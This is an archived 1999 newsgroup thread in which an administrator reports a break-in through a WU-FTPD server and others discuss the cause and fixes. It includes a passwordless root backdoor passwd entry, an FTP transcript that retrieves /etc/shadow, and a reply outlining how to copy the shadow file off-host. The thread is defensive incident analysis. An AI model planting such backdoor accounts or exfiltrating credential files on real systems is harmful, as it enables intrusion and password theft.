Security hole with WU-FTPD

Security hole with WU-FTPD

Post by Daryle Niedermaye » Sat, 16 Jan 1999 04:00:00



We had a hacker exploit a weakness in the WU-FTP daemon last night. The
exploit on a machine named "bob" from a machine named "neale"went like
this:

Here's how part of the exploit happened:

By adding an entry to the bottom of the passwd file:
test::0:0:dummyname:/:/bin/bash

without a password marker, our login scripts will not let you login with
a
shell, but they will let you open an ftp connection with root
permissions.

You can then upload or download any file you want. ftp will allow you to

login with a null password so you do not need access to the shadow file
to
exploit this weakness, as the following transcript will show:

neale[29]% ftp bob
Connected to bob....
220 bob... FTP server (Version wu-2.4.2-academ[BETA-15](1) Sat Nov
1 03:08:32 EST 1997) ready.
Name (bob:dniederm): test
331 Password required for test.
Password:
230 User test logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc/
250 CWD command successful.
ftp> get shadow
local: shadow remote: shadow
200 PORT command successful.
150 Opening BINARY mode data connection for shadow (1117 bytes).
226 Transfer complete.
1117 bytes received in 0.00159 secs (6.8e+02 Kbytes/sec)
ftp> bye
221 Goodbye.
neale[30]% whoami
dniederm
neale[31]% more shadow
...
the contents of the shadow file including encrypted passwords would
follow.

The fact that the shadow file is not root writable. Would not have saved
it. Once root access is gained in this way, putting the shadow file back
raises not problems with overwriting a file with 0400 permissions.
Upgrading to BETA-18 (the latest available rpm still permitted this
exploit. The software was installed as part of the default set of rpms
in a Redhat Linux 5.0 distribution.

We are still working to uncover how the hacker managed to append a
passwd entry to the /etc/passwd file. (I'm open to suggestions--at the
time of the attack, bob was set up to be an NFS client but we do not use
NFS in our domain as so it may not have been configured properly. NFS
has since been removed).

We have since replaced wu-ftp with a different ftp server. Here again I
am open to suggestions as to the best low-cost (or no-cost) ftpd
available apart from wu-ftp.

--

********************************
Daryle Niedermayer
Programmer/Analyst
GDS & Associates Systems. Ltd.
400 - 4211 Albert St.
Regina, SK Canada -- S4S 3R6
Phone: 306.586.7832
Fax: 306.585.1514

http://www.gds.ca
********************************

  dniederm.vcf
< 1K Download
 
 
 

Security hole with WU-FTPD

Post by Barry Margoli » Sat, 16 Jan 1999 04:00:00




Quote:>Here's how part of the exploit happened:

>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash

>without a password marker, our login scripts will not let you login with
>a
>shell, but they will let you open an ftp connection with root
>permissions.

That's unusual.  I thought that an empty password field was the traditional
Unix way to specify that an account doesn't need a password to login.

Quote:>You can then upload or download any file you want. ftp will allow you to
>login with a null password so you do not need access to the shadow file
>to
>exploit this weakness, as the following transcript will show:

FTP is just implementing the standard Unix interpretation of that passwd
entry, IMHO.

Quote:>We have since replaced wu-ftp with a different ftp server. Here again I
>am open to suggestions as to the best low-cost (or no-cost) ftpd
>available apart from wu-ftp.

I would hardly consider this a serious flaw in WU-FTPD.  If they were able
to modify the passwd file, they probably also could have modified the
shadow file and created an account with a password they knew.  These files
are practically the root of a Unix system's security, and if they're
compromised most bets are off.

--

GTE Internetworking, Powered by BBN, Burlington, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Don't bother cc'ing followups to me.

 
 
 

Security hole with WU-FTPD

Post by Eugen » Sat, 16 Jan 1999 04:00:00


what else did you expect???
where in the world did you see *root access to ftp* ?????
by default root ftp logins are *disabled*
you crippled the security

>We had a hacker exploit a weakness in the WU-FTP daemon last night. The
>exploit on a machine named "bob" from a machine named "neale"went like
>this:

>Here's how part of the exploit happened:

>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash

>without a password marker, our login scripts will not let you login with
>a
>shell, but they will let you open an ftp connection with root
>permissions.

>You can then upload or download any file you want. ftp will allow you to

>login with a null password so you do not need access to the shadow file
>to
>exploit this weakness, as the following transcript will show:

>neale[29]% ftp bob
>Connected to bob....
>220 bob... FTP server (Version wu-2.4.2-academ[BETA-15](1) Sat Nov
>1 03:08:32 EST 1997) ready.
>Name (bob:dniederm): test
>331 Password required for test.
>Password:
>230 User test logged in.
>Remote system type is UNIX.
>Using binary mode to transfer files.
>ftp> cd /etc/
>250 CWD command successful.
>ftp> get shadow
>local: shadow remote: shadow
>200 PORT command successful.
>150 Opening BINARY mode data connection for shadow (1117 bytes).
>226 Transfer complete.
>1117 bytes received in 0.00159 secs (6.8e+02 Kbytes/sec)
>ftp> bye
>221 Goodbye.
>neale[30]% whoami
>dniederm
>neale[31]% more shadow
>...
>the contents of the shadow file including encrypted passwords would
>follow.

>The fact that the shadow file is not root writable. Would not have saved
>it. Once root access is gained in this way, putting the shadow file back
>raises not problems with overwriting a file with 0400 permissions.
>Upgrading to BETA-18 (the latest available rpm still permitted this
>exploit. The software was installed as part of the default set of rpms
>in a Redhat Linux 5.0 distribution.

>We are still working to uncover how the hacker managed to append a
>passwd entry to the /etc/passwd file. (I'm open to suggestions--at the
>time of the attack, bob was set up to be an NFS client but we do not use
>NFS in our domain as so it may not have been configured properly. NFS
>has since been removed).

>We have since replaced wu-ftp with a different ftp server. Here again I
>am open to suggestions as to the best low-cost (or no-cost) ftpd
>available apart from wu-ftp.

>--

>********************************
>Daryle Niedermayer
>Programmer/Analyst
>GDS & Associates Systems. Ltd.
>400 - 4211 Albert St.
>Regina, SK Canada -- S4S 3R6
>Phone: 306.586.7832
>Fax: 306.585.1514

>http://www.gds.ca
>********************************

 
 
 

Security hole with WU-FTPD

Post by Juergen Hein » Sun, 17 Jan 1999 04:00:00



>This is a multi-part message in MIME format.
>--------------0A537D09DFDE5AF1123A5B34
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit

>We had a hacker exploit a weakness in the WU-FTP daemon last night. The
>exploit on a machine named "bob" from a machine named "neale"went like
>this:

Never mind, but ...
[...]

Quote:>neale[31]% more shadow
>...
>the contents of the shadow file including encrypted passwords would
>follow.

... you might disable the cd to /etc and friends and the download
of several files, like /etc/passwd. See the documentation for wu-ftpd.

In addition on Linux you can do a chattr +i on the configuration file,
so it becomes a bit harder to change that one.
[...]

Quote:>We have since replaced wu-ftp with a different ftp server. Here again I
>am open to suggestions as to the best low-cost (or no-cost) ftpd
>available apart from wu-ftp.

proftpd is very nice :: http://www.proftpd.org and has some spiffy
options, worth a look.

Oh yes, and please avoid that vcard stuff, thanks,
Juergen

--
\ Real name     : Jrgen Heinzl                 \       no flames      /

  \ Phone Private : +44 181-332 0750              \                  /

 
 
 

Security hole with WU-FTPD

Post by Barry Margoli » Sun, 17 Jan 1999 04:00:00




>what else did you expect???
>where in the world did you see *root access to ftp* ?????
>by default root ftp logins are *disabled*

His complaint is that normal login treats a passwd entry with no password
as meaning the user can't login, but WU-FTPD treats it as an account that
can login without a password.  That's a dangerous inconsistency, don't you
think?

Quote:>you crippled the security

What are you talking about?  Someone apparently broke into their system and
somehow added that passwd entry.  How do you translate that to "you
crippled the security"?

--

GTE Internetworking, Powered by BBN, Burlington, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Don't bother cc'ing followups to me.

 
 
 

Security hole with WU-FTPD

Post by Nama Gu » Sun, 17 Jan 1999 04:00:00


Quote:

> By adding an entry to the bottom of the passwd file:
> test::0:0:dummyname:/:/bin/bash

If he/she got the root access, why bother adding new account to ftp?
cp /etc/shadow filename
then ftp filename to other hosts.

Fredy

 
 
 

Security hole with WU-FTPD

Post by Alan J Rosenth » Sun, 17 Jan 1999 04:00:00



>We had a hacker exploit a weakness in the WU-FTP daemon last night.
...
>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash

The fact that your /etc/passwd is writable is not a weakness in wu-ftpd.
You mention that /etc/shadow was not writable as if that should have made you
secure; but an intruder can still change their OWN uid to 0 if they can write
to /etc/passwd.

This is not a weakness in wu-ftpd.  /etc/passwd lists account information,
including for superusers.  If you allow people to write to it, you've given
them superuser privilege.  The weakness in your system which was exploited was
the non-root writability of /etc/passwd.

Quote:>We are still working to uncover how the hacker managed to append a
>passwd entry to the /etc/passwd file. (I'm open to suggestions--

If /etc/passwd is owned by root and mode 444 or 644, then they had to become
root some other way, or be able to write to /dev/dsk/something, or perform
similar activity which should be (and probably is) root-only.  If /etc/passwd
is world-writable, then there's no difficulty.

Most probable without knowing anything further about the situation is that
they got in through one of the well-known network vulnerabilities such as the
imapd bug.  This gives you the ability to execute arbitrary commands as root,
such as appending to the password file (or to /etc/shadow, or replacing ftpd
altogether for that matter).

 
 
 

Security hole with WU-FTPD

Post by Barry Margoli » Sun, 17 Jan 1999 04:00:00




Quote:>If he/she got the root access, why bother adding new account to ftp?
>cp /etc/shadow filename
>then ftp filename to other hosts.

When you get root access, it's common to leave backdoors to make it easier
to get in the next time, in case they close the original hole.

--

GTE Internetworking, Powered by BBN, Burlington, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Don't bother cc'ing followups to me.

 
 
 

Security hole with WU-FTPD

Post by Bill Unr » Sun, 17 Jan 1999 04:00:00



Quote:>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash

This is weird. How in the world were they able to put an entry into
/etc/passwd? It should be writable only by root. There must have been
some other root exploit which allowed this to happen. The fact that ftp
allowed a passwordless root logon is small potatoes compared to this
problem.

Have you installed all of the security patches for your version of
redhat? Certainly 5.0 5.1 have a number that have to be installed.

 
 
 

Security hole with WU-FTPD

Post by M. Buchenried » Sun, 17 Jan 1999 04:00:00



>This is a multi-part message in MIME format.

Rubbish.

[...]

Quote:>We had a hacker exploit a weakness in the WU-FTP daemon last night.

No.

Quote:>The exploit on a machine named "bob" from a machine named "neale"went like
>this:
>Here's how part of the exploit happened:

Not "exploit" . It's called "stupidity".

Quote:>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash
>without a password marker, our login scripts will not let you login with
>a
>shell, but they will let you open an ftp connection with root
>permissions.

[...]

You shot yourself into the foot. Setting up an FTP-only account
with root permissions is as silly as displaying the root password
at the login screen. Sheesh.

And if you did not set it up that way, then your security has been
compromised before, since standard users can't write to the /etc/passwd
file at all.

Michael

--

          Lumber Cartel Unit #456 (TINLC) & Official Netscum

 
 
 

Security hole with WU-FTPD

Post by M. Buchenried » Sun, 17 Jan 1999 04:00:00


[...]

Quote:>>you crippled the security
>What are you talking about?  Someone apparently broke into their system and
>somehow added that passwd entry.  

No. The entry in the /etc/passwd file had been added _before_ the attack
could take place. So either the security had been compromised before, then
the FTP attack would have been useless (since the intruder obviously had
root access alreeady), or the entry has been made by the sysadmin just
to _allow_ FTP access with root permissions.

Quote:>How do you translate that to "you
>crippled the security"?

Running an FTP access with root perms translates to "no security enabled" .

OTOH, if the /etc/passwd file was world writeable, then the intruder
may have changed /bin/login or the wu-ftpd executable already just
to allow this.

Michael
--

          Lumber Cartel Unit #456 (TINLC) & Official Netscum

 
 
 

Security hole with WU-FTPD

Post by Barry Margoli » Sun, 17 Jan 1999 04:00:00




>No. The entry in the /etc/passwd file had been added _before_ the attack
>could take place. So either the security had been compromised before, then
>the FTP attack would have been useless (since the intruder obviously had
>root access alreeady), or the entry has been made by the sysadmin just
>to _allow_ FTP access with root permissions.

If you read the post, you would know that the second was not what
happened.  Later in his post he said that they're still trying to figure
out how the passwd entry got put in, and he asked for advice about that.

The fact that there are other ways to break into the system does not excuse
FTPD from being usable to implement a back-door.  Perhaps the compromise of
/etc/passwd happened when the culprit was on-site for some reason (maybe as
a consultant).  He might not be able to reproduce those circumstances, but
by leaving a back-door open he has future access.

--

GTE Internetworking, Powered by BBN, Burlington, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Don't bother cc'ing followups to me.

 
 
 

Security hole with WU-FTPD

Post by Barry Margoli » Sun, 17 Jan 1999 04:00:00




>You shot yourself into the foot. Setting up an FTP-only account
>with root permissions is as silly as displaying the root password
>at the login screen. Sheesh.

Am I the only one who saw this paragraph in his post:

]We are still working to uncover how the hacker managed to append a
]passwd entry to the /etc/passwd file. (I'm open to suggestions--at the
]time of the attack, bob was set up to be an NFS client but we do not use
]NFS in our domain as so it may not have been configured properly. NFS
]has since been removed).

--

GTE Internetworking, Powered by BBN, Burlington, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Don't bother cc'ing followups to me.

 
 
 

Security hole with WU-FTPD

Post by Charles Stac » Sun, 17 Jan 1999 04:00:00


If such an account existed (as you suggest), could the hacker not download
the password file and/or change it to fit their needs?  They could do this
with any file, could they not?

I find this all rather fascinating...being relatively new to linux myself.
And..it makes me a little more concerned about putting a box on the internet
without more detailed unix security knowledge.

Charles

 
 
 

Security hole with WU-FTPD

Post by Ashok Aiy » Sun, 17 Jan 1999 04:00:00


On Fri, 15 Jan 1999 16:19:39 -0600,

Quote:>Here's how part of the exploit happened:

>By adding an entry to the bottom of the passwd file:
>test::0:0:dummyname:/:/bin/bash

If it matters any, I just tried this with BeroFTPd-1.2.1, which is
derived from wu-ftpd, and I cannot login as "test".  

So if you do use wu-ftpd, and are concerned about a backdoor like this
being left by a cracker, you might consider BeroFTPd.  Available from
freshmeat and all the other usual places.

Later,
Ashok
--
Ashok Aiyar, Ph.D.
McArdle Laboratory for Cancer Research
http://aiyar.cjb.net

 
 
 

1. wu-ftpd Security Hole

There is a rather serious bug in the SCO port of wu-ftpd 2.4.  The file
support/sco.c, which is used when compiling under SCO 3.2, contains an
initgroups() routine since this routine is missing under SCO.  This
routine declares an array of group IDs as an "int" rather than a
"gid_t".  Since "gid_t" is a typedef for "short" on SCO, the array of
group IDs passed to setgroups() by initgroups() is effectively
corrupted.  In my particular case, this was resulting in users logged
in under their own user IDs to having unauthorized access to group 0,
(root), though results would vary based on actual group membership.

The file "sco.c" is also used by the ISC port of wu-ftpd, so that OS
may also be vulnerable.

The problem is easily fixed by declaring the array "groups" as "gid_t",
recompiling, and reinstalling.
--
John W. Temples, III       ||       Providing the first public access Internet
Gulfnet Kuwait             ||            site in the Arabian Gulf region

2. how to implement talk

3. WU-FTPD security holes

4. Free ISP for Linux - found?

5. wu-ftpd security hole affect FreeBSD?

6. Syquest 270 parallel..just how difficult..?

7. InfoMagic Mar95 wu.ftpd security hole fix.

8. Solaris Shared Memory Segment Limit

9. Wu-ftpd Remote Root Hole

10. After fixing wu-ftpd hole

11. WU-Ftpd Security Help Needed?

12. WU-FTPD 2.6 Security Problem